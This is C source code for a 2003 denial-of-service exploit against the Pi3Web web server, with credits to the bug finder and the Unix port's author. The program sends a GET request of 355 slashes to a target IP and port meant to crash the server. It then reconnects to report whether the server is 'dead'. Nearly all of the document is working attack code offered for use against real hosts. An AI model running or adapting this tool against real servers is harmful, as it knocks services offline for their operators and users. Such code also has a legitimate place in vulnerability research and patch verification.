Unix Version of the Pi3web DoS

* Unix Version of the Pi3web DoS.
* ----------------------------------------------------------
* Info: Pi3Web Server is vulnerable to a denial of Service.
* ----------------------------------------------------------
* VULNERABILITY:
* GET //// <- 354
*
* The bug was found by aT4r@3wdesign.es 04/26/2003
* www.3wdesign.es Security
* ----------------------------------------------------------
* Unix Version Credits.
* AUTHOR : Angelo Rosiello
* CONTACT: angelo@rosiello.org, angelo@dtors.net
*
*/


#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <assert.h>


void addr_initialize();


int main(int argc, char **argv)
{
 int i, port, sd, rc;
 char buffer[355];
 char *get = "GET";
 char packet[360];
 struct sockaddr_in server;


 if(argc > 3 || argc < 2)
 {
   printf("USAGE: %s IP PORT\n", argv[0]);
   printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
   exit(0);
 }
 if(argc == 2) port = 80;
 else port = atoi(argv[2]);
 
 for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
 sprintf(packet, "%s %s\n", get, buffer);
 addr_initialize(&server, port, (long)inet_addr(argv[1]));
 
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd < 0) perror("Socket");
 assert(sd >= 0);
 rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
 if(rc != 0) perror("Connect");
 assert(rc == 0);
 printf("\n\t\t(c) 2003 DTORS Security\n");
 printf("\t\tUnix Version DoS for Pi3web\n");
 printf("\t\tby Angelo Rosiello\n\n");
 write(sd, packet, strlen(packet)); //Caput!
 printf("Malformed packet sent!\n");
 close(sd);


 printf("Checking if the server crashed...\n");
 sleep(3);


 sd = socket(AF_INET, SOCK_STREAM, 0);
       if(sd < 0) perror("Socket");
 assert(sd >= 0);
 rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
 if(rc != 0)
 {
   printf("The server is dead!\n");
   exit(0);
 }
 else if(rc == 0) printf("The server is not vulnerable!\n");
 close(sd);
 exit(0);
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
       address -> sin_family = AF_INET;
       address -> sin_port = htons((u_short)port);
       address -> sin_addr.s_addr = IPaddr;
}